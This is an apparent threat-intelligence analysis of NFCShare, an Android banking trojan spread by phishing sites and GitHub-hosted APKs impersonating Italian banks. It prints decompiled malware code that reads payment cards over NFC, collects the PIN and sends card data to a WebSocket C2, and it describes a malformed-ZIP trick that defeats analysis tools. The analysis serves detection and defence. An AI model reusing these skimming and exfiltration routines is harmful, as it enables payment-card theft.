In January 2026, we analyzed NFCShare, an Android banking trojan distributed as a malicious APK through a phishing flow impersonating Deutsche Bank. The malware presented a fake card-verification interface, asked the victim to place a payment card near the phone, collected the card PIN, and exfiltrated NFC-derived payment-card data to a WebSocket endpoint.

Since 14 May 2026, we have observed a newer wave of NFCShare APKs impersonating Italian and European banking brands. The campaign we investigated started from an ad hoc phishing website, areaclienti-intesa.com, which mimicked the look and feel of Intesa Sanpaolo. After the victim entered home-banking credentials, the phishing flow prompted the user to update the banking application. At that point, the website visually directed the victim to a shortened URL, such as https://tinyurl[.]com/Intesa-Carte, which then redirected toward APKs hosted in the GitHub repository antoniocastaldo1998/app-scuola.

The newer samples are still NFCShare. The core NFC and exfiltration logic remains largely unchanged. The relevant evolution is operational and anti-analysis oriented: more frequent APK rebuilds, brand rotation, a new C2 endpoint, a 10-DEX layout, and malformed ZIP paths designed to break naive APK extractors.

Distribution: phishing site, short URLs, and GitHub hosting

The recent campaign uses bank-themed APK names such as Intesa Carte.apk, Sella Carte.apk, Banca Sella Carte.apk, Klirway Carte.apk, BCC Roma Carte.apk, Fideuram Carte.apk, Mooney Carte.apk, Nexi Carte.apk, CaixaBank.apk, CaixaBankNfc.apk, and CaixaReactivaTarjeta.apk.

The victim flow is consistent with mobile banking phishing. The user is first brought to the fake Intesa Sanpaolo-themed website areaclienti-intesa[.]com. After submitting home-banking credentials, the user is told that the banking app must be updated. The phishing page then redirects through a shortened URL and ultimately leads to the malicious APK hosted on GitHub.

We cannot exclude an additional social-engineering layer: victims may also receive an SMS or a phone call from a fake bank operator who guides them through the process, including enabling Android installation from unknown sources in order to sideload the APK.

The GitHub repository used for hosting is named app-scuola, which translates roughly to “school app”. Its README is a simple decoy:

# app-scuola
app di scuola per compiti a casa
ciaoo!!

The repository also contains a small shell script, likely used locally by the operator to push new builds:

#!/usr/bin/env bash
set -e

BRANCH="main"
COMMIT_MSG="Aggiornato tutto"

git switch "$BRANCH"
git add -A
git commit -m "$COMMIT_MSG"
git push origin "$BRANCH"

The commit history supports this operational model. As of 5 June 2026, the repository contains 57 commits, starting on 10 April 2026, and the vast majority of later commits use the same message: Aggiornato tutto (“Updated everything”). Across the Git history, we identified 56 unique APK payloads referenced as blobs.

Repository timeline

What changed since the first NFCShare sample?

We compared the application analyzed in January with the recent Banca Sella sample and other APKs from the GitHub-hosted wave.

The most important change is not the C2 rotation, which is expected in an active fraud operation. The most important technical evolution is the packaging: newer APKs contain malformed ZIP entries such as paths rooted under /AndroidManifest.xml/, /classes.dex/, and /resources.arsc/. APKs are ZIP archives, and simple extraction tools may try to write those entries as absolute paths. In our tests, this caused extraction failures such as:

Error extracting files: [Errno 30] Read-only file system: '/AndroidManifest.xml'

This does not prevent proper analysis, but it disrupts automated pipelines that assume benign ZIP paths. It also explains why some family classifiers may return a lower match score for recent samples: the family did not change, but the package structure interferes with extraction and manifest/resource parsing.

Why this is still NFCShare

The recent samples retain the internal markers that originally motivated the NFCShare family name:

• nfc.share.itnamteis namespace
• CardInfoitmanteis model
• MqttChannel enum with CARD_INFO_CHANNEL, CARD_REMOVED, and SEND_CHANNEL
• Local WebView UI loaded from assets/index.html
• NFC reader code using android.nfc.tech.IsoDep
• NPStringFog with the hardcoded key itnewpag
• Chinese string 发送端 (“sender”) decoded at runtime

The channel enum is particularly useful for attribution and hunting:

package nfc.share.itnamteis.model;

public enum MqttChannel {
    FETCH_CHANNEL,
    SEND_CHANNEL,
    LOG_CHANNEL,
    CARD_INFO_CHANNEL,
    CARD_REMOVED,
    NOTIFICATION_CHANNEL,
    ANSWER_CHANNEL,
    OFFLINE_CHANNEL
}

How the recent Sella sample communicates with the C2

In the recent Sella build, the C2 is visible in MainActivity after decompilation:

public final String f3591z = "ws://nfck[.]loseyourip[.]com:8001/";

// ...
e.f = NPStringFog.decode("8CFBFF8CF7F186CCC6"); // 发送端
e.g = "100";

WebView webView = (WebView) findViewById(R.attr.webview);
this.f3585A = webView;
webView.getSettings().setJavaScriptEnabled(true);
this.f3585A.setWebViewClient(new b());
this.f3585A.loadUrl(
    NPStringFog.decode("0F1D02004D5F4E48081A0A171819053808071D00035F08090D11164B1F040C0B56071A00074D")
);

The decoded WebView URL is:

file:///android_asset/index.html?step=

The WebSocket implementation translates ws:// into an HTTP request URL internally, which is typical of OkHttp-based WebSocket clients:

if (str.startsWith("ws://")) {
    String path = str.substring(3);
    str = "http:".concat(path);
} else if (str.startsWith("wss://")) {
    String path = str.substring(4);
    str = "https:".concat(path);
}

What the malware reads from NFC cards

The NFC reader code uses IsoDep, connects to the payment card, sends an EMV PPSE select APDU, parses the returned data, and builds a CardInfoitmanteis object.

public final class c implements NfcAdapter.ReaderCallback {
    public IsoDep f4125a;

    public final String b(Tag tag) throws IOException {
        IsoDep isoDep = IsoDep.get(tag);
        this.f4125a = isoDep;

        if (!isoDep.isConnected()) {
            this.f4125a.connect();
            this.f4125a.setTimeout(120000);
        }

        byte[] ppse = t1.e.b(d(
            NPStringFog.decode("59442F514744515759315D57424055565C4D5C204243545E5C475C20434455535D425D5544415157")
        ));

        // Decodes to:
        // 00A404000E325041592E5359532E444446303100

        // EMV parsing omitted for readability
        CardInfoitmanteis card = new CardInfoitmanteis(cardNumber, cardType, expiryDate, label);
        t1.e.b.I(MqttChannel.CARD_INFO_CHANNEL, t1.e.c(card.toString().getBytes()));
    }
}

The APDU decodes to:

00 A4 04 00 0E 32 50 41 59 2E 53 59 53 2E 44 44 46 30 31 00
SELECT 2PAY.SYS.DDF01

What is sent to the C2

The card model serializes the extracted data into a simple ampersand-separated string:

public String toString() {
    StringBuilder sb = new StringBuilder();
    sb.append(this.number);
    String sep = NPStringFog.decode("4F"); // &
    sb.append(sep);
    sb.append(this.type);
    sb.append(sep);
    sb.append(this.label);
    sb.append(sep);
    sb.append(new SimpleDateFormat(
        NPStringFog.decode("2439411C0E") // MM/yy
    ).format(this.expireDate));
    return sb.toString();
}

Decoded format:

card_number & card_type_or_PIN & card_label & MM/yy

The PIN is handled by creating a new CardInfoitmanteis object where the entered PIN is placed in the second field and sent again through CARD_INFO_CHANNEL:

String pin = this.f4108a.getText().toString();

CardInfoitmanteis cardInfoitmanteis = new CardInfoitmanteis(
    e.f4113h.getNumber(),
    pin,
    e.f4113h.getExpireDate(),
    e.f4113h.getLabel()
);

e.f4113h = cardInfoitmanteis;
e.b.I(MqttChannel.CARD_INFO_CHANNEL, e.c(cardInfoitmanteis.toString().getBytes()));

User interaction: fake card verification

The recent APKs still use a local HTML/JavaScript interface inside a WebView. The template instructs the user, in Portuguese-language strings, to place the card near the device and then enter a 4-digit PIN “for security”. This is consistent with the earlier NFCShare flow we previously analyzed: the UI creates trust and keeps the victim engaged while the native Android code reads the payment card over NFC.

Figure 1. Fake card-verification screen asking the victim to bring the card close to the phone.

Figure 2. Fake verification progress screen.

Figure 3. PIN collection screen.

Anti-analysis and extraction pitfalls

The newer samples introduce malformed ZIP paths. This is not a sophisticated VM or sandbox check, but it is effective against brittle static pipelines. We observed:

• January sample: 745 ZIP entries, standard res/ layout, 8 DEX files.
• Recent Sella/Intesa/Klirway samples: 746 ZIP entries, 10 DEX files, approximately 159 suspicious path entries under fake absolute or nested manifest/resource paths.
• JADX can still recover the relevant Java code, but exits non-zero on some recent samples due to malformed resources.

For analysts, the key point is that a failed extraction is not a benign signal. In this campaign, extraction failures are themselves useful indicators of the newer NFCShare packaging.

Despite these extraction pitfalls, the samples can still be triaged and analyzed with the open-source tool apkInspector. Its APK parsing and artifact extraction workflow was useful for quickly identifying the NFCShare family markers, DEX layout, manifest-level indicators, and high-level differences between the January sample and the newer GitHub-hosted builds.

Sample clusters

Indicators of Compromise

Conclusion

The recent NFCShare wave does not show a major change in malware capability. The Android code still reads payment-card data through IsoDep, asks the victim for the PIN through a fake WebView flow, and sends the resulting data to a WebSocket C2.

The evolution is in campaign operations and analysis resistance. The actor is rotating brands, rebuilding APKs frequently, using URL shorteners, hosting payloads in a public GitHub repository disguised as a school project, and shipping APKs with malformed ZIP paths that can break automated extractors.

For defenders, this means the most resilient detection opportunities are not the APK filename or the C2 endpoint, but the internal NFCShare code markers, the WebView/NFC behavior combination, and the malformed APK structure introduced in the newer builds.